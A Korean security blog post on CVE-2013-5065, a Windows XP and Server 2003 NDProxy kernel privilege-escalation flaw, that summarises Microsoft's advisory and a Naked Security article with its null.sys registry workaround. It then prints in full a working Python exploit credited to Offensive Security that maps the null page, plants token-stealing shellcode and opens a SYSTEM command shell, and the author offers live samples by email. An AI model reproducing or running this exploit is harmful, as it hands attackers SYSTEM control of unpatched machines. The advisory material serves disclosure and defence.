티스토리 뷰

안녕하세요. Hackability 입니다.


오늘 포스팅 내용은 CVE-2013-5065 내용입니다.


본 취약점은 MS Windows Local Privilege Escalation Zero-Day로 2013년 11월 27일 Microsoft 에서 발표된 윈도우즈 커널 취약점 입니다. 현재 Microsoft 에서도 분석중이며, 정확히 어떻게, 어디서, 누구에 의한 것인지 밝혀지지가 않았으며, 패치가 되지 안은 상태입니다. (2013년 12월 8일 기준)


아래는 Microsoft에서 제공되는 본 취약점 정보 입니다. (Security Advisory 2914486)

Released Date: 2013년 11월 27일


마이크로소프트는 Windows XP와 Windows Server 2003에서 발생되는 커널 컴포넌트 취약점에 대해 조사중입니다. 우리는 타켓 공격들이 이 취약점을 익스플로잇을 시도함에 있어서 한계점을 인지하고 있습니다.


이 취약점은 Windows XP또는 Windows Server 2003 보다 높은 버전을 사용하는 운영체제에서는 영향이 없다는 것을 검증하였습니다.


이 취약점은 권한 상승 취약점 입니다. 취약점을 이용하여 익스플로잇에 성공한 공격자는 커널 모드에서 임의의 코드를 실행 시킬 수 있습니다. 그 후, 공격자는 프로그램을 설치, 데이터 관찰, 변경, 삭제 또는 관리자 권한의 계정을 생성 시킬 수 있습니다.


마이크로소프트는 고객들에게 정보를 제공하기 위해 파트너인 Microsoft Active Protection Program (MAPP)와 작업을 진행하고 있습니다. 관련 정보는 MAPP Partners with Updated Projections를 참고해주세요.


조사가 충분히 진행된 후, 마이크로소프트는 고객들을 보호하기 위해 적절한 행동을 취할 것 입니다. 고객들의 요구에 따라 Monthly Release Process 또는 Out-of-cycle 보안 업데이트를 통해 보안 업데이트를 제공 할 수 있습니다.


공격자들은 반드시 유효한 로그온 자격을 갖고 있어야 하며, 이 취약점을 익스플로잇 하기 위해 로그온을 해야 합니다. 이 취약점은 원격에서 실행 될 수 없으며, 임의의 유저로부터 발생 될 수 없습니다.


영향을 받는 운영체제는 아래와 같습니다.


Windows XP Service Pack 3

Windows XP Professional x64 Edition Service Pack 2

Windows Server 2003 Service Pack 2

Windows Server 2003 x64 Edition Service Pack 2

Windows Server 2003 with SP2 for Itanium-based System


아래는 NakedSecurity 에서 제공되는 본 취약점 정보 입니다.

Released Date: 2013년 11월 28일


마이크로소프트는 Windows XP Kernel에서 제로데이 취약점에 경고하고 있습니다.


이 버그는 CVE-2013-5065라 하며 아직 자세한 정보는 알려지지 않은 상태입니다.


우리가 알고 있는 본 취약점에 대한 정보는 아래와 같습니다.

  • 이 버그는 NDPROXY.SYS 드라이버에서 발생되는데 이는 마이크로소프트 Telephony API(TAPI)와 같이 사용됩니다.
  • 이 익스플로잇은 원격실행은 할 수 없고 오로지 권한 상승 (EoP: Elevation of Privilege)만 가능합니다.
  • 이 취약점은 Windows XP, Windows Server 2003에서만 존재합니다.
  • 현재까지 어떤 패치나 수정 사항이 이루어지지 않았습니다.
  • 간단한 레지스트리 조작으로 이 취약점을 막을 수 있습니다.
  • 이 레지스트리 조작은 몇 가지 추가적인 영향을 주기 때문에 잘 알고 사용해야 합니다. 
본 권한 상승 취약점이 원격 공격자에 의해 실행이 될 수 없다고 하지만 브라우저나 소프트웨어 랜더링 취약점 등을 이용하여 복합적으로 공격하는 경우 원격 실행도 가능합니다.

추가적으로 어떤 것에 의한 공격 상승이라 함은 공격자들이 더이상 일반 적인 권한에 국한되지 않음을 의미합니다. 

네트워크 보안 회사인 FireEye에 의하면, 패치가 안된 어도비 리더에서 PDF 기반 취약점을 이용하여 원격 실행 + 권한 상승 공격이 발생했다고 보고했습니다.

최악의 경우 이 취약점은 공격자가 프로그램을 설치, 데이터 관찰, 변경, 삭제 또는 관리자 권한의 계정을 생성 시킬 수 있습니다. 커널 모드에서 동작한다는 것은 관리자의 관리자로 동작하는 것과 같습니다.

우리는 무엇을 할 수 있을까?

가장 좋은 해결책은 XP 운영체제를 최신의 운영체제로 업데이트 하는 것 입니다.

우리는 아마도 이미 업데이트가 되었거나 2014년 4월 전까지는 업데이트를 해야 함을 알고 있을 것 입니다. 왜냐하면 XP 버전은 2014년 4월 까지만 업데이트가 이루어지고, 그 이후 어떠한 이슈에 대해서도 수정이나 업데이트를 하지 않을 것 이기 때문입니다.

만약 당신이 XP를 사용해야 한다면, 마이크로소프트의 임시 해결책을 사용할 수 있습니다. (이것은 NDPROXY.SYS에서 발생되는 버그를 예방해줍니다.)

간단히 파일을 지우는 작업으로는 해결 할 수 없습니다. 윈도우즈 드라이버 캐쉬에서 복구 기능이 있기 때문입니다. (영구적으로 파일을 지웠을 경우, 동작하지 않는다면 귀찮은 상황이 발생됩니다.)

마이크로소프트의 교묘한 계획으로는 레지스트리를 조작하여 NDProxy 드라이버를 NULL.SYS로 로드 시키도록 설정하는 것 입니다. (NULL.SYS는 기능 없는 특별한 드라이버 입니다.) 

다음 레지스트리 엔트리를 변경해야 합니다.

KEY: HKLM\SYSTEM\CurrentControlSet\Services\NDProxy
Value Name: ImagePath
Type: REG_EXPAND_SZ
Set data to: system32\DRIVERS\null.sys

재 부팅시, 권한 상승 익스플로잇에 대해 면역력이 생깁니다.

물론, 이에의해 몇 가지 대가를 치뤄야 합니다. NDProxy 서비스가 더 이상 동작하지 않으며, 추가적으로 같이 동작하는 TAPI역시 동작하지 않을 것 입니다.

이것은 Dial Up Networking과 RAS를 포함하는데, 이것들은 잘 쓰이지 않기 때문에 이런 것들이 동작하지 않아도 상관이 없을 것 입니다. 하지만 마이크로소프트의 Virtual Private Network (VPN) 역시 동작하지 않는데 이는 아마도 원하지 않는 결과 일 것입니다.

만약 당신이 Sophos UTM 에서 제공하는 SSL이나 IPSEC과 같이 non-Microsoft VPN을 사용하여 마이크로소프트 서버에 접속한다면, NDProxy 서비스를 이용할 수 있어야 합니다. 하지만 몇 가지 확실히 해두어야 합니다. 만약 당신이 문제가 생겼다면, 당신은 간단히 위에 있는 ImagePath 레지스트리 값을 system32\DRIVERS\ndproxy.sys로 변경해야 합니다.

당신이 사용하고 있는 마이크로소프트가 아닌 제품들을 업데이트 하는 것을 잊지 마세요. 

분명한건, 다른 소프트웨어의 패치는 XP 커널 취약점을 해결해주지 않지만 현재까지 이 취약점을 이용한 단 한 건의 사고만을 알고 이 사고는 어도비 리더 버그와 연관되어 있다는 것 입니다.

해당 어도비 리더 취약점은 제로데이가 아니며 패치를 통해 취약점에 대해 보호할 수 있습니다.

마지막으로, 알지 못하는 소스에서 공개된 PDF 파일들을 보는 것을 조심하시기 바랍니다.

아래는 Sophos 보안 전문가와 Naked 기자인 Chester Wisniewski와 Paul Ducklin이 본 취약점에 대해 이야기하는 내용입니다.


아래는 Exploit-db 에서 제공되는 CVE-2013-0565 공격 코드 입니다. 

# NDPROXY Local SYSTEM privilege escalation

# http://www.offensive-security.com
# Tested on Windows XP SP3
# http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/
 
 
# Original crash ... null pointer dereference
# Access violation - code c0000005 (!!! second chance !!!)
# 00000038 ??              ???
 
from ctypes import *
from ctypes.wintypes import *
import os, sys
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
 
GENERIC_READ     = 0x80000000
GENERIC_WRITE    = 0x40000000
FILE_SHARE_READ  = 0x00000001
FILE_SHARE_WRITE = 0x00000002
NULL = 0x0
OPEN_EXISTING = 0x3
PROCESS_VM_WRITE            = 0x0020
PROCESS_VM_READ             = 0x0010
MEM_COMMIT                  = 0x00001000
MEM_RESERVE                 = 0x00002000
MEM_FREE                    = 0x00010000
PAGE_EXECUTE_READWRITE      = 0x00000040
PROCESS_ALL_ACCESS          = 2097151
FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000
baseadd = c_int(0x00000001)
MEMRES = (0x1000 | 0x2000)
MEM_DECOMMIT = 0x4000
PAGEEXE = 0x00000040
null_size = c_int(0x1000)
STATUS_SUCCESS = 0
 
def log(msg):
    print msg
 
def getLastError():
    """[-] Format GetLastError"""
    buf = create_string_buffer(2048)
    if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
            kernel32.GetLastError(), 0,
            buf, sizeof(buf), NULL):
        log(buf.value)
    else:
        log("[-] Unknown Error")
 
print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day"
print "[*] Vulnerability found in the wild"
print "[*] Coded by Offensive Security"      
         
tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24)
InBuf = c_char_p(tmp)
 
dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE)
if dwStatus != STATUS_SUCCESS:
    print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus
    getLastError()
written = c_ulong()
sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"
sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh))
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written))
if alloc == 0:
    print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc
    getLastError()
 
dwRetBytes = DWORD(0)
DEVICE_NAME   = "\\\\.\\NDProxy"
hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None)
if hdev == -1:
    print "[-] Couldn't open the device... :("
    sys.exit()
kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0)
kernel32.CloseHandle(hdev)
print "[+] Spawning SYSTEM Shell..."
os.system("start /d \"C:\\windows\\system32\" cmd.exe")


추가적으로 시간이 되면, 제가 분석해서 분석글을 올리면 Best 겠지만, 제가 그런 실력이 없는 관계로, 분석 문서 2~3개 정도 정리하여 올리도록 하겠습니다.


현재 샘플 코드가 2개 보유하고 있으며, 필요하신분은 hackability@naver.com 으로 메일 주시기 바랍니다.


[Update 01] 참고 분석 사이트

http://www.antimalwarelab.com/2013/12/cve-2013-5065-pdf-exploit.html

http://www.antimalwarelab.com/2013/12/pdf-cve-2013-5065-dropped-bad-malware.html

http://www.fireeye.com/blog/technical/cyber-exploits/2013/12/cve-2013-33465065-technical-analysis.html

http://www.secniu.com/blog/?p=47

https://blogs.mcafee.com/mcafee-labs/analyzing-the-recent-windows-zero-day-escalation-of-privilege-exploit

댓글